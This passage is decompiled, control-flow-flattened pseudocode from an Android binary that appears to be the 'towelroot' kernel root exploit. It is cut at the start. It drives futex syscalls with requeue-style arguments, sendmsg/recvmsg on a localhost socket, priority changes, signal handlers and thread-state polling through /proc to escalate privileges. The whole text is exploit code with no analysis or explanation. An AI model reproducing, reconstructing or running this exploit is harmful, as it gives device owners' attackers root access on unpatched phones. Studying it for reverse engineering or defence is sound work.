v41 = recvmsg(*v120, *v122, 0);
v4 = v40;
v2 = v39;
v10 = 1830166322;
v1 = v38;
v6 = 1801770282;
v3 = v37;
v8 = 1711583301;
v5 = v36;
v0 = v35;
v7 = 1611667672;
*v118 = v41;
v9 = 1077599450;
}
}
if ( (signed int)v9 > -600519680 )
break;
if ( v9 == v4 )
LABEL_312:
v9 = -2114967034;
}
if ( (signed int)v9 > -524020600 )
break;
if ( v9 == -600519679 )
{
v9 = 1005045878;
if ( v127 )
v9 = -1237353608;
}
}
if ( (signed int)v9 > -521297277 )
break;
if ( v9 == -524020599 )
LABEL_285:
v9 = 436256745;
}
if ( (signed int)v9 > -476652055 )
break;
if ( v9 == -521297276 )
LABEL_303:
v9 = 1351837257;
}
if ( (signed int)v9 > -449798503 )
break;
if ( v9 == -476652054 )
LABEL_181:
v9 = -224829244;
}
if ( (signed int)v9 > -424498271 )
break;
if ( v9 == -449798502 )
{
v9 = -2104783998;
if ( !(*v108)[1] )
v9 = 1924857697;
}
}
if ( (signed int)v9 > -377732498 )
break;
if ( v9 == -424498270 )
goto LABEL_181;
}
if ( (signed int)v9 > -362246628 )
break;
if ( v9 == -377732497 )
{
v42 = 0;
if ( *v119 < 8 )
v42 = 1;
v125 = v42;
v9 = -1739896730;
}
}
if ( (signed int)v9 > -320862018 )
break;
if ( v9 == -362246627 )
v9 = 399300895;
}
if ( (signed int)v9 > -313082237 )
break;
if ( v9 == -320862017 )
{
++*v119;
goto LABEL_288;
}
}
if ( (signed int)v9 > -284254014 )
break;
if ( v9 == -313082236 )
goto LABEL_196;
}
if ( (signed int)v9 > -224829245 )
break;
if ( v9 == -284254013 )
v9 = 851835296;
}
if ( (signed int)v9 > -116623178 )
break;
if ( v9 == -224829244 )
{
v43 = v0;
v44 = v5;
v45 = v3;
v46 = v1;
v47 = v2;
v48 = v4;
v49 = sendmsg(*v120, *v122, 0);
v4 = v48;
v10 = 1830166322;
v2 = v47;
v8 = 1711583301;
v1 = v46;
v3 = v45;
v5 = v44;
v0 = v43;
v7 = 1611667672;
v52 = v49;
v9 = 833743395;
v50 = v52 == 0;
v51 = v52 < 0;
*v118 = v52;
LOWORD(v52) = -10966;
if ( !(v51 | v50) )
v9 = 43938;
HIWORD(v52) = 27492;
if ( !(v51 | v50) )
HIWORD(v9) = -6478;
v6 = v52;
}
}
if ( (signed int)v9 > -94759229 )
break;
if ( v9 == -116623177 )
v9 = 851835296;
}
if ( (signed int)v9 > -67329569 )
break;
if ( v9 == -94759228 )
LABEL_214:
v9 = -1922763464;
}
if ( (signed int)v9 > -63528079 )
break;
if ( v9 == -67329568 )
v9 = 1323698956;
}
if ( (signed int)v9 > -46364809 )
break;
if ( v9 == -63528078 )
goto LABEL_221;
}
if ( (signed int)v9 > -36394266 )
break;
if ( v9 == -46364808 )
v9 = 88228847;
}
if ( (signed int)v9 > 88228846 )
break;
if ( v9 == -36394265 )
{
v53 = v0;
v54 = v5;
v55 = v3;
v56 = v1;
v57 = v2;
v58 = v4;
sleep(10);
v4 = v58;
v2 = v57;
v10 = 1830166322;
v1 = v56;
v6 = 1801770282;
v3 = v55;
v8 = 1711583301;
v5 = v54;
v0 = v53;
v7 = 1611667672;
goto LABEL_229;
}
}
if ( (signed int)v9 > 124382289 )
break;
if ( v9 == 88228847 )
{
v117 = &v93;
v118 = &v93;
v119 = &v93;
v120 = &v93;
v121 = (int)(&v95 - 8);
v122 = &v93;
v123 = &v95 - 16;
v124 = &v95 - 32;
*(_DWORD *)v107 = syscall(224, 88228847, v6, v4);
setpriority(0, 0, 12);
v59 = sub_7390();
v10 = 1830166322;
v8 = 1711583301;
v4 = -606985679;
*v120 = v59;
v60 = v121;
*(_DWORD *)v121 = 0;
*(_DWORD *)(v60 + 4) = 0;
*(_DWORD *)(v60 + 8) = 0;
*(_DWORD *)(v60 + 12) = 0;
*(_DWORD *)(v60 + 16) = 0;
*(_DWORD *)(v60 + 20) = 0;
*(_DWORD *)(v60 + 24) = 0;
*(_DWORD *)(v60 + 28) = 0;
*v122 = v121;
*v119 = 0;
v6 = 1801770282;
v9 = 207372404;
}
}
if ( (signed int)v9 > 156727846 )
break;
if ( v9 == 124382290 )
v9 = -476652054;
}
if ( (signed int)v9 > 207372403 )
break;
if ( v9 == 156727847 )
v9 = ((*v118 >> 31) & 0xF655BA27) - 1944808194;
}
if ( (signed int)v9 > 324101212 )
break;
if ( v9 == 207372404 )
LABEL_242:
v9 = -1676803381;
}
if ( (signed int)v9 > 352503582 )
break;
if ( v9 == 324101213 )
v9 = -1916186442;
}
if ( (signed int)v9 > 371761058 )
break;
if ( v9 == v2 )
{
v61 = *v120;
v62 = v0;
v93 = 0;
v63 = v5;
v64 = v3;
v65 = v1;
v66 = v2;
v67 = v4;
v68 = syscall(374, v61, v121, 1);
v4 = v67;
v2 = v66;
v10 = 1830166322;
v1 = v65;
v8 = 1711583301;
v3 = v64;
v5 = v63;
v0 = v62;
v7 = 1611667672;
v71 = v68;
v9 = -1847221507;
v69 = v71 == 0;
v70 = v71 < 0;
*v118 = v71;
LOWORD(v71) = -10966;
if ( !(v70 | v69) )
v9 = 40867;
HIWORD(v71) = 27492;
if ( !(v70 | v69) )
HIWORD(v9) = 5672;
v6 = v71;
}
}
if ( (signed int)v9 > 399300894 )
break;
if ( v9 == 371761059 )
v9 = v2;
}
if ( (signed int)v9 > 416401681 )
break;
if ( v9 == 399300895 )
{
*v119 = 0;
v9 = -94759228;
}
}
if ( (signed int)v9 > 436256744 )
break;
if ( v9 == 416401682 )
v9 = -377732497;
}
if ( (signed int)v9 > 471420064 )
break;
if ( v9 == 436256745 )
{
*(_DWORD *)*v122 = v124;
*(_DWORD *)(*v122 + 4) = 128;
*(_DWORD *)(*v122 + 16) = v124;
*(_DWORD *)(*v122 + 20) = 32;
*(_DWORD *)(*v122 + 8) = v123;
*(_DWORD *)(*v122 + 12) = 8;
*(_DWORD *)(*v122 + 24) = 0;
*(_DWORD *)(v121 + 28) = 0;
v72 = *v106;
v73 = v0;
v74 = *v105;
v75 = v5;
v93 = 0;
v76 = v3;
v77 = v1;
v78 = v2;
v79 = v4;
syscall(240, v72, 11, 0);
v9 = 1830166322;
v4 = v79;
v2 = v78;
v10 = 1830166322;
v1 = v77;
v6 = 1801770282;
v3 = v76;
v8 = 1711583301;
v5 = v75;
v0 = v73;
v7 = 1611667672;
*(_DWORD *)v104 = 1;
}
}
if ( (signed int)v9 > 585450574 )
break;
if ( v9 == v5 )
{
v80 = 0;
if ( !*(_DWORD *)v103 )
v80 = 1;
v126 = v80;
v9 = -839360480;
}
}
if ( (signed int)v9 > 684709878 )
break;
if ( v9 == 585450575 )
{
v123[2 * *v119] = *(_DWORD *)*(v102 - 28);
v96 = *(_DWORD *)v101;
v10 = 1830166322;
v123[2 * *v119 + 1] = v96;
v9 = 1452755235;
}
}
if ( (signed int)v9 > 731304646 )
break;
if ( v9 == 684709879 )
v9 = -810851278;
}
if ( (signed int)v9 > 763967219 )
break;
if ( v9 == 731304647 )
goto LABEL_282;
}
if ( (signed int)v9 > 824737538 )
break;
if ( v9 == 763967220 )
goto LABEL_285;
}
if ( (signed int)v9 > 833743394 )
break;
if ( v9 == 824737539 )
LABEL_288:
v9 = 1355084291;
}
if ( (signed int)v9 > 851835295 )
break;
if ( v9 == 833743395 )
goto LABEL_291;
}
if ( (signed int)v9 > 873325446 )
break;
if ( v9 == 851835296 )
v9 = -524020599;
}
if ( (signed int)v9 > 1005045877 )
break;
if ( v9 == 873325447 )
{
v9 = 1077599450;
if ( (*v100)[1] == (void *)3 )
v9 = -636767832;
}
}
if ( (signed int)v9 > 1077599449 )
break;
if ( v9 == 1005045878 )
goto LABEL_303;
}
if ( (signed int)v9 > 1082304467 )
break;
if ( v9 == 1077599450 )
LABEL_324:
v9 = 1273869937;
}
if ( (signed int)v9 > 1101700004 )
break;
if ( v9 == 1082304468 )
{
*v119 = 0;
v9 = -1241056785;
}
}
if ( (signed int)v9 > 1134159149 )
break;
if ( v9 == 1101700005 )
goto LABEL_312;
}
if ( (signed int)v9 <= 1168505811 )
break;
if ( (signed int)v9 > 1273869936 )
{
if ( (signed int)v9 > 1323698955 )
{
if ( (signed int)v9 > 1336748626 )
{
if ( (signed int)v9 > 1351837256 )
{
if ( (signed int)v9 > 1355084290 )
{
if ( (signed int)v9 > 1452497678 )
{
switch ( v9 )
{
case 0x56935B0Fu:
v9 = -1916186442;
break;
case 0x56974923u:
v9 = -1581040931;
break;
case 0x56A1326Cu:
v91 = *(_DWORD *)v97;
v9 = v5;
break;
}
}
else if ( v9 == 1355084291 )
{
v9 = 324101213;
if ( *v119 < 8 )
v9 = -963311209;
}
}
else if ( v9 == 1351837257 )
{
v90 = 0;
if ( (*v98)[1] == (void *)2 )
v90 = 1;
v128 = v90;
v9 = -1821802461;
}
}
else if ( v9 == 1336748627 )
{
v84 = v0;
v85 = v5;
v86 = v3;
v87 = v1;
v88 = v2;
v89 = v4;
sleep(10);
v4 = v89;
v2 = v88;
v10 = 1830166322;
v1 = v87;
v6 = 1801770282;
v3 = v86;
v8 = 1711583301;
v5 = v85;
v0 = v84;
v7 = 1611667672;
v9 = 1553720541;
}
}
else if ( v9 == 1323698956 )
{
goto LABEL_324;
}
}
else if ( v9 == 1273869937 )
{
goto LABEL_321;
}
}
else if ( v9 == 1168505812 )
{
v81 = v4;
v82 = *(v99 - 25);
v96 = *(_DWORD *)*(v99 - 28);
v10 = 1830166322;
v123[2 * *v119] = v96;
v83 = *(_DWORD *)v82;
v4 = v81;
v8 = 1711583301;
v6 = 1801770282;
v123[2 * *v119 + 1] = v83;
v9 = 585450575;
}
}
}
while ( v9 != 1134159150 );
return v129;
}
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// F3C: using guessed type int __fastcall sleep(_DWORD);
// FC0: using guessed type int __fastcall syscall(_DWORD, _DWORD, _DWORD, _DWORD);
// 105C: using guessed type int __fastcall setpriority(_DWORD, _DWORD, _DWORD);
// 1074: using guessed type int __fastcall recvmsg(_DWORD, _DWORD, _DWORD);
// 1080: using guessed type int __fastcall sendmsg(_DWORD, _DWORD, _DWORD);
// 2ACEC: using guessed type void *swag;
// 2ACF0: using guessed type void *swag2;
// 2ACF4: using guessed type void **ph;
// 2AD98: using guessed type int GLOBAL_OFFSET_TABLE_;

//----- (00007390) --------------------------------------------------------
int sub_7390()
{
int v0; // r0@1
unsigned int v1; // r0@1
signed int v2; // r0@39
int v4; // [sp+10h] [bp-38h]@1
int v5; // [sp+18h] [bp-30h]@1
int v6; // [sp+1Ch] [bp-2Ch]@1
int v7; // [sp+20h] [bp-28h]@1
int v8; // [sp+24h] [bp-24h]@1
int v9; // [sp+28h] [bp-20h]@1

v8 = 0;
v7 = 0;
v6 = 0;
v5 = 0;
v0 = socket(2, 1, 6);
v4 = v0;
v9 = v0;
v1 = 1432349297;
do
{
while ( 1 )
{
while ( 1 )
{
while ( (signed int)v1 <= -1406997303 )
{
if ( v1 == -1914593278 )
{
sleep(10);
v1 = 1764875129;
}
}
if ( (signed int)v1 > -925338160 )
break;
if ( v1 == -1406997302 )
{
sleep(10);
v1 = -1914593278;
}
}
if ( (signed int)v1 > 2099868287 )
break;
if ( (signed int)v1 > 1764875128 )
{
if ( v1 == 1764875129 )
LABEL_31:
v1 = -605639770;
}
else if ( (signed int)v1 > 1432349296 )
{
if ( v1 == 1432349297 )
{
v1 = 770335367;
if ( v9 == -1 )
v1 = 496916984;
}
}
else if ( (signed int)v1 > 770335366 )
{
if ( v1 == 770335367 )
{
v5 = -1357578238;
v6 = 16777343;
goto LABEL_28;
}
}
else if ( (signed int)v1 > 496916983 )
{
if ( v1 == 496916984 )
{
_android_log_print(4, "towelroot", "socket failed ");
goto LABEL_31;
}
}
else if ( (signed int)v1 > 374902548 )
{
if ( v1 == 374902549 )
{
usleep(10);
v1 = -925338159;
}
}
else if ( (signed int)v1 > 15440870 )
{
if ( v1 == 15440871 )
{
usleep(10);
goto LABEL_38;
}
}
else if ( (signed int)v1 > -869479533 )
{
switch ( v1 )
{
case 0xCC2CCB94:
v2 = connect(v4, &v5, 16);
v1 = (((v2 >> 31) ^ 0xA151721C) & (v2 >> 31)) + 2099868288;
break;
case 0xDBD80063:
LABEL_38:
v1 = 374902549;
break;
case 0xDBE6ABA6:
v1 = -1914593278;
break;
}
}
else if ( v1 == -925338159 )
{
LABEL_28:
v1 = -869479532;
}
}
}
while ( v1 != 2099868288 );
setsockopt(v4);
return v4;
}
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// F3C: using guessed type int __fastcall sleep(_DWORD);
// F84: using guessed type int __fastcall socket(_DWORD, _DWORD, _DWORD);
// F90: using guessed type int __cdecl setsockopt(_DWORD);
// FE4: using guessed type int __fastcall usleep(_DWORD);
// 108C: using guessed type int __fastcall connect(_DWORD, _DWORD, _DWORD);

//----- (00007690) --------------------------------------------------------
int __fastcall sub_7690(int a1)
{
signed int v1; // r4@1
signed int v2; // r10@1
unsigned int v3; // r12@1
signed int v4; // r6@1
signed int v5; // r8@1
signed int v6; // r9@1
signed int v7; // r7@1
signed int v8; // r2@1
signed int v9; // r3@1
signed int v10; // lr@1
signed int v11; // r0@1
unsigned int v12; // r8@9
signed int v13; // r5@9
signed int v14; // r9@9
int *v15; // r4@12
signed int v16; // r0@12
signed int v17; // r1@12
signed int v18; // r3@12
FILE *v19; // r10@12
unsigned int v20; // r8@14
signed int v21; // r5@14
signed int v22; // r9@14
_UNKNOWN *v23; // r7@17
signed int v24; // r0@17
FILE *v25; // r6@17
signed int v26; // r1@17
signed int v27; // r3@17
signed int v28; // r6@32
signed int v29; // r9@32
signed int v30; // r8@32
char *v31; // r0@32
char v32; // zf@22
int *v33; // r6@46
signed int v34; // r0@46
FILE *v35; // r6@46
signed int v36; // r1@46
signed int v37; // r3@46
signed int v38; // r5@61
char *v39; // r0@61
int *v40; // r4@70
int v41; // r7@70
int v42; // r0@70
int v43; // r1@70
signed int v44; // r0@70
signed int v45; // r1@70
signed int v46; // r3@70
FILE *v47; // r4@70
char v48; // r0@75
char *v49; // r0@91
signed int v50; // r7@106
signed int v51; // r8@106
char *v52; // r0@106
int v54; // [sp+0h] [bp-20A0h]@17
const char *v55; // [sp+24h] [bp-207Ch]@1
const char *v56; // [sp+28h] [bp-2078h]@1
_UNKNOWN *v57; // [sp+2Ch] [bp-2074h]@1
int *v58; // [sp+30h] [bp-2070h]@1
int *v59; // [sp+34h] [bp-206Ch]@1
_UNKNOWN *v60; // [sp+38h] [bp-2068h]@1
const char *v61; // [sp+3Ch] [bp-2064h]@1
const char *v62; // [sp+40h] [bp-2060h]@1
const char *v63; // [sp+44h] [bp-205Ch]@1
int *v64; // [sp+48h] [bp-2058h]@1
_UNKNOWN *v65; // [sp+4Ch] [bp-2054h]@1
int (__fastcall *v66)(int); // [sp+50h] [bp-2050h]@1
_UNKNOWN *v67; // [sp+54h] [bp-204Ch]@1
_UNKNOWN *v68; // [sp+58h] [bp-2048h]@1
_UNKNOWN *v69; // [sp+5Ch] [bp-2044h]@1
int v70; // [sp+60h] [bp-2040h]@1
const char *v71; // [sp+64h] [bp-203Ch]@1
int *v72; // [sp+68h] [bp-2038h]@1
int *v73; // [sp+6Ch] [bp-2034h]@12
int *v74; // [sp+70h] [bp-2030h]@17
char v75; // [sp+77h] [bp-2029h]@67
int v76; // [sp+78h] [bp-2028h]@32
int v77; // [sp+1078h] [bp-1028h]@12
int v78; // [sp+2078h] [bp-28h]@12
int v79; // [sp+207Ch] [bp-24h]@28
int v80; // [sp+2080h] [bp-20h]@1

v70 = a1;
v1 = 2020396282;
v2 = 1785620252;
v3 = 0xFFFE1CC6;
v4 = 1528490914;
v5 = -1510328164;
v6 = 1550213081;
v69 = &is_thread_desched_lock;
v7 = -752118747;
v68 = &did_dm_tid_read;
v67 = &do_dm_tid_read;
v66 = sub_8394;
v65 = &is_thread_desched;
v64 = (int *)&last_tid;
v63 = "/proc/self/task/%d/status";
v62 = "rb";
v61 = "voluntary_ctxt_switches";
v80 = 1785620253;
v60 = &do_dm_tid_read;
v58 = &GLOBAL_OFFSET_TABLE_;
v55 = "voluntary_ctxt_switches";
v8 = 1528490915;
v57 = &did_dm_tid_read;
v59 = &GLOBAL_OFFSET_TABLE_;
v56 = "voluntary_ctxt_switches";
v9 = 2020396283;
v72 = &GLOBAL_OFFSET_TABLE_;
v10 = 1785620253;
v71 = "voluntary_ctxt_switches";
v11 = -990954812;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v11 > v1 )
{
if ( v11 == v9 )
{
v15 = v72;
sprintf((char *)&v77, (const char *)v72 + v3, *v73);
v16 = (signed int)fopen((const char *)&v77, (const char *)v15 + 0xFFFE1CE0);
v17 = 134304844;
v18 = 134304843;
v19 = (FILE *)v16;
v78 = v16;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v17 <= v18 )
{
v32 = v17 == v5;
v17 = 665893174;
if ( !v32 )
goto LABEL_114;
}
if ( v17 <= 1550213080 )
break;
v32 = v17 == v6;
v16 = -1;
v17 = v5;
if ( !v32 )
goto LABEL_114;
}
if ( v17 <= 1297895565 )
break;
if ( v17 != 1297895566 )
goto LABEL_114;
v28 = v6;
v29 = v5;
v30 = v18;
fread(&v76, 1u, 0x1000u, v19);
v31 = strstr((const char *)&v76, v71);
v16 = atoi(v31 + 25);
v18 = v30;
v5 = v29;
v6 = v28;
v17 = v5;
}
if ( v17 != 134304844 )
break;
v17 = 1297895566;
if ( !v78 )
v17 = 1550213081;
}
if ( v17 != 665893174 )
break;
v17 = 200673134;
v79 = v16;
}
if ( v17 != 200673134 )
{
while ( 1 )
LABEL_114:
;
}
v4 = 1528490914;
v2 = 1785620252;
v1 = 2020396282;
v7 = -752118747;
v9 = 2020396283;
v10 = 1785620253;
v3 = 0xFFFE1CC6;
v48 = 0;
if ( v79 != *v74 + 1 )
v48 = 1;
v75 = v48;
v11 = 709528224;
v8 = 1528490915;
}
}
if ( v11 <= v2 )
break;
if ( v11 == v10 )
v11 = v7;
}
if ( v11 <= v4 )
break;
if ( v11 == v8 )
{
v20 = v3;
v21 = v8;
v22 = v9;
usleep(10);
v8 = v21;
v1 = 2020396282;
v3 = v20;
v5 = -1510328164;
v9 = v22;
v6 = 1550213081;
v11 = v7;
}
}
if ( v11 > -1841006408 )
break;
if ( v11 == -1892802104 )
{
v12 = v3;
v13 = v8;
v14 = v9;
usleep(10);
v8 = v13;
v1 = 2020396282;
v3 = v12;
v5 = -1510328164;
v9 = v14;
v6 = 1550213081;
goto LABEL_10;
}
}
if ( v11 > -1819306828 )
break;
if ( v11 == -1841006407 )
{
v73 = &v54 - 2;
v74 = &v54 - 2;
v54 = v70;
*(_DWORD *)v67 = 0;
*(_DWORD *)v68 = 0;
v23 = v69;
pthread_mutex_lock(v69);
pthread_create(&v54 - 2, 0, v66, v54);
pthread_cond_wait(v65, v23);
*v73 = *v64;
sprintf((char *)&v77, v63, *v73);
v24 = (signed int)fopen((const char *)&v77, v62);
v25 = (FILE *)v24;
v26 = 134304844;
v27 = 134304843;
v78 = v24;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v26 <= v27 )
{
v32 = v26 == v5;
v26 = 665893174;
if ( !v32 )
goto LABEL_115;
}
if ( v26 <= 1550213080 )
break;
v24 = -1;
v32 = v26 == 1550213081;
v26 = -1510328164;
if ( !v32 )
goto LABEL_115;
}
if ( v26 <= 1297895565 )
break;
if ( v26 != 1297895566 )
goto LABEL_115;
v38 = v27;
fread(&v76, 1u, 0x1000u, v25);
v39 = strstr((const char *)&v76, v61);
v24 = atoi(v39 + 25);
v27 = v38;
v26 = -1510328164;
}
if ( v26 != 134304844 )
break;
v26 = 1297895566;
if ( !v78 )
v26 = 1550213081;
}
if ( v26 != 665893174 )
break;
v26 = 200673134;
v79 = v24;
}
if ( v26 != 200673134 )
{
while ( 1 )
LABEL_115:
;
}
v4 = 1528490914;
v2 = 1785620252;
v1 = 2020396282;
v7 = -752118747;
v8 = 1528490915;
v9 = 2020396283;
*v74 = v79;
v11 = v10;
v3 = 0xFFFE1CC6;
v6 = 1550213081;
}
}
if ( v11 <= -990954813 )
break;
if ( v11 > -752118748 )
{
if ( v11 > -391351867 )
{
if ( v11 > -98268714 )
{
if ( v11 > 696000448 )
{
if ( v11 == 696000449 )
{
v40 = v59;
v41 = *(int *)((char *)v59 + 0xFFFFFFDC);
v42 = *(int *)((char *)v59 + 0xFFFFFFD4);
v43 = *(int *)((char *)v59 + 0xFFFFFFD8);
*(&v54 - 2) = v70;
*(_DWORD *)v43 = 0;
*(_DWORD *)v42 = 0;
pthread_mutex_lock(v41);
pthread_create(&v54 - 2, 0, (char *)v40 + 0xFFFDD5FC, *(&v54 - 2));
pthread_cond_wait(*(int *)((char *)v40 + 0xFFFFFFE0), v41);
sprintf((char *)&v77, (const char *)v40 + 0xFFFE1CC6, **(_DWORD **)((char *)v40 + 0xFFFFFFE4));
v44 = (signed int)fopen((const char *)&v77, (const char *)v40 + 0xFFFE1CE0);
v45 = 134304844;
v46 = 134304843;
v47 = (FILE *)v44;
v78 = v44;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v45 <= v46 )
{
v32 = v45 == v5;
v45 = 665893174;
if ( !v32 )
goto LABEL_116;
}
if ( v45 <= 1550213080 )
break;
v32 = v45 == v6;
v44 = -1;
v45 = -1510328164;
if ( !v32 )
goto LABEL_116;
}
if ( v45 <= 1297895565 )
break;
if ( v45 != 1297895566 )
goto LABEL_116;
fread(&v76, 1u, 0x1000u, v47);
v49 = strstr((const char *)&v76, v56);
v44 = atoi(v49 + 25);
v46 = 134304843;
v45 = -1510328164;
}
if ( v45 != 134304844 )
break;
v45 = 1297895566;
if ( !v78 )
v45 = 1550213081;
}
if ( v45 != 665893174 )
break;
v45 = 200673134;
v79 = v44;
}
if ( v45 != 200673134 )
{
while ( 1 )
LABEL_116:
;
}
v11 = -1841006407;
v4 = 1528490914;
v2 = 1785620252;
v3 = 0xFFFE1CC6;
v1 = 2020396282;
v7 = -752118747;
v8 = 1528490915;
v9 = 2020396283;
LABEL_113:
v10 = 1785620253;
}
else
{
v7 = -752118747;
v8 = 1528490915;
v9 = 2020396283;
v10 = 1785620253;
if ( v11 == 709528224 )
{
v1 = 2020396282;
v3 = 0xFFFE1CC6;
v11 = -1819306827;
if ( v75 )
v11 = -1892802104;
}
else
{
v1 = 2020396282;
v3 = 0xFFFE1CC6;
if ( v11 == 726292826 )
v11 = 2020396283;
}
}
}
else if ( v11 == -98268713 )
{
*(_DWORD *)v57 = 1;
LABEL_10:
v11 = 726292826;
}
}
else if ( v11 == -391351866 )
{
v33 = v58;
sprintf((char *)&v77, (const char *)v58 + v3, *v73, v9);
v34 = (signed int)fopen((const char *)&v77, (const char *)v33 + 0xFFFE1CE0);
v35 = (FILE *)v34;
v36 = 134304844;
v37 = 134304843;
v78 = v34;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v36 <= v37 )
{
v32 = v36 == v5;
v36 = 665893174;
if ( !v32 )
goto LABEL_117;
}
if ( v36 <= 1550213080 )
break;
v32 = v36 == v6;
v34 = -1;
v36 = -1510328164;
if ( !v32 )
goto LABEL_117;
}
if ( v36 <= 1297895565 )
break;
if ( v36 != 1297895566 )
goto LABEL_117;
v50 = v5;
v51 = v37;
fread(&v76, 1u, 0x1000u, v35);
v52 = strstr((const char *)&v76, v55);
v34 = atoi(v52 + 25);
v37 = v51;
v5 = v50;
v36 = -1510328164;
}
if ( v36 != 134304844 )
break;
v36 = 1297895566;
if ( !v78 )
v36 = 1550213081;
}
if ( v36 != 665893174 )
break;
v36 = 200673134;
v79 = v34;
}
if ( v36 != 200673134 )
{
while ( 1 )
LABEL_117:
;
}
v4 = 1528490914;
v2 = 1785620252;
v11 = 2020396283;
v3 = 0xFFFE1CC6;
v7 = -752118747;
v9 = 2020396283;
v8 = 1528490915;
goto LABEL_113;
}
}
else if ( v11 == v7 )
{
v11 = -98268713;
if ( !*(_DWORD *)v60 )
v11 = 1528490915;
}
}
else if ( v11 == -990954812 )
{
v11 = -1841006407;
}
}
}
while ( v11 != -1819306827 );
pthread_mutex_unlock(&is_thread_desched_lock);
return *v73;
}
// F54: using guessed type int __fastcall pthread_create(_DWORD, _DWORD, _DWORD, _DWORD);
// F6C: using guessed type int __fastcall pthread_mutex_lock(_DWORD);
// F78: using guessed type int __fastcall pthread_cond_wait(_DWORD, _DWORD);
// FD8: using guessed type int __fastcall pthread_mutex_unlock(_DWORD);
// FE4: using guessed type int __fastcall usleep(_DWORD);
// 2AD98: using guessed type int GLOBAL_OFFSET_TABLE_;

//----- (00008394) --------------------------------------------------------
int __fastcall sub_8394(int a1)
{
signed int v1; // r3@1
signed int v2; // r4@1
signed int v3; // r7@1
signed int v4; // r5@1
signed int v5; // r6@1
signed int v6; // r2@1
signed int v7; // r0@1
void *v8; // r1@16
int v9; // r0@19
int v10; // r4@19
int *v11; // r7@27
int v12; // r4@27
int v13; // r4@27
int v14; // r0@27
unsigned int v16; // [sp+0h] [bp-68h]@16
int v17; // [sp+4h] [bp-64h]@16
int v18; // [sp+8h] [bp-60h]@16
int v19; // [sp+Ch] [bp-5Ch]@19
int v20; // [sp+10h] [bp-58h]@1
signed int (*v21)(); // [sp+14h] [bp-54h]@1
int v22; // [sp+18h] [bp-50h]@1
int v23; // [sp+1Ch] [bp-4Ch]@1
int v24; // [sp+20h] [bp-48h]@1
int *v25; // [sp+24h] [bp-44h]@19
int *v26; // [sp+28h] [bp-40h]@1
const char *v27; // [sp+2Ch] [bp-3Ch]@1
int v28; // [sp+30h] [bp-38h]@1
void **v29; // [sp+34h] [bp-34h]@1
int v30; // [sp+38h] [bp-30h]@1
int v31; // [sp+3Ch] [bp-2Ch]@1
int *v32; // [sp+40h] [bp-28h]@19
int *v33; // [sp+44h] [bp-24h]@16

v30 = a1;
v1 = 1314362507;
v2 = -910198062;
v3 = 257971759;
v4 = -886556414;
v31 = (int)&did_dm_tid_read;
v5 = 832135335;
v29 = &swag2;
v27 = "futex dm: %d ";
v6 = 1010373513;
v28 = (int)"towelroot";
v24 = (int)&last_tid;
v23 = (int)&is_thread_desched_lock;
v22 = (int)&is_thread_desched;
v21 = sub_881C;
v20 = (int)&do_dm_tid_read;
v26 = &GLOBAL_OFFSET_TABLE_;
v7 = 1314362507;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v7 > 1504356341 )
{
if ( v7 == 1504356342 )
v7 = v4;
}
if ( v7 > -886556415 )
break;
if ( v7 == v2 )
v7 = v4;
}
if ( v7 > v3 )
break;
if ( v7 == v4 )
{
v7 = 257971760;
if ( !*(_DWORD *)v31 )
v7 = 1504356342;
}
}
if ( v7 > v5 )
break;
if ( v7 == 257971760 )
{
v8 = *v29;
v16 = 0;
v17 = 0;
v18 = 0;
*v33 = syscall(240, v8, 6, 1);
_android_log_print(4, v28, v27, *v33);
goto LABEL_23;
}
}
if ( v7 > v6 )
break;
if ( v7 == 832135336 )
{
v32 = &v18;
v25 = &v18;
v33 = &v18;
v9 = syscall(224, &v18, v6, v1);
v10 = v23;
*(_DWORD *)v24 = v9;
pthread_mutex_lock(v10);
pthread_cond_signal(v22);
v19 = 0;
v18 = 0;
v17 = 0;
v16 = (unsigned int)v21;
v4 = -886556414;
*v33 = sigaction(12, &v16, 0);
setpriority(0, 0, *v25);
pthread_mutex_unlock(v10);
v2 = -910198062;
v6 = 1010373513;
v5 = 832135335;
*(_DWORD *)v20 = 1;
v7 = -910198062;
}
}
if ( v7 > 1264303332 )
break;
if ( v7 == 1010373514 )
{
sleep(10);
LABEL_23:
v6 = 1010373513;
v7 = 1010373514;
}
}
if ( v7 != 1264303333 )
break;
v11 = v26;
v12 = *(int *)((char *)v26 + 0xFFFFFFE4);
*(_DWORD *)v12 = syscall(224, 1264303333, v6, v1);
v13 = *(int *)((char *)v11 + 0xFFFFFFDC);
pthread_mutex_lock(*(int *)((char *)v11 + 0xFFFFFFDC));
pthread_cond_signal(*(int *)((char *)v11 + 0xFFFFFFE0));
v19 = 0;
v18 = 0;
v17 = 0;
v16 = (unsigned int)((char *)v11 + 0xFFFDDA84);
sigaction(12, &v16, 0);
setpriority(0, 0, v30);
pthread_mutex_unlock(v13);
v4 = -886556414;
v5 = 832135335;
v2 = -910198062;
v14 = *(int *)((char *)v11 + 0xFFFFFFD8);
v3 = 257971759;
*(_DWORD *)v14 = 1;
v7 = 832135336;
LABEL_28:
v6 = 1010373513;
}
v4 = -886556414;
v2 = -910198062;
if ( v7 == 1314362507 )
{
v7 = 832135336;
v3 = 257971759;
v5 = 832135335;
goto LABEL_28;
}
v3 = 257971759;
v5 = 832135335;
v6 = 1010373513;
}
while ( v7 != 1309878492 );
return *v32;
}
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// F3C: using guessed type int __fastcall sleep(_DWORD);
// F6C: using guessed type int __fastcall pthread_mutex_lock(_DWORD);
// FC0: using guessed type int __fastcall syscall(_DWORD, _DWORD, _DWORD, _DWORD);
// FD8: using guessed type int __fastcall pthread_mutex_unlock(_DWORD);
// 105C: using guessed type int __fastcall setpriority(_DWORD, _DWORD, _DWORD);
// 1098: using guessed type int __fastcall pthread_cond_signal(_DWORD);
// 10A4: using guessed type int __fastcall sigaction(_DWORD, _DWORD, _DWORD);
// 2ACF0: using guessed type void *swag2;
// 2AD98: using guessed type int GLOBAL_OFFSET_TABLE_;

